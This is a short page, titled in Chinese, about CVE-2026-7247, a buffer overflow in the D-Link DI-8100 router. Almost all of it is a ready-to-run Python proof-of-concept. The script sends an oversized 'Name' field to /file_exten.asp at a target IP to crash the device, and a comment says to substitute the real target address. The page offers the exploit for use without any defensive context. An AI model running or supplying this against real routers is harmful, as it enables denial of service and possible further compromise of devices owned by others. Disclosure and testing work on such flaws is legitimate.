CVE-2026-7247 D-Link DI-8100缓冲区溢出漏洞

import requests def trigger_overflow(target_ip): """ Proof of Concept for CVE-2026-7247 Sends a malicious payload to the vulnerable Name parameter. """ url = f"http://{target_ip}/file_exten.asp" # The payload length needs to exceed the buffer size to trigger the overflow # Adjust the length based on specific analysis of the firmware payload = "A" * 600 data = { "Name": payload, "submit": "Submit" } try: print(f"Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Request sent with status code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("Potential trigger successful. Check device status.") except requests.exceptions.RequestException as e: print(f"Connection error: {e}") print("The device might have crashed due to the overflow.") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP trigger_overflow(target)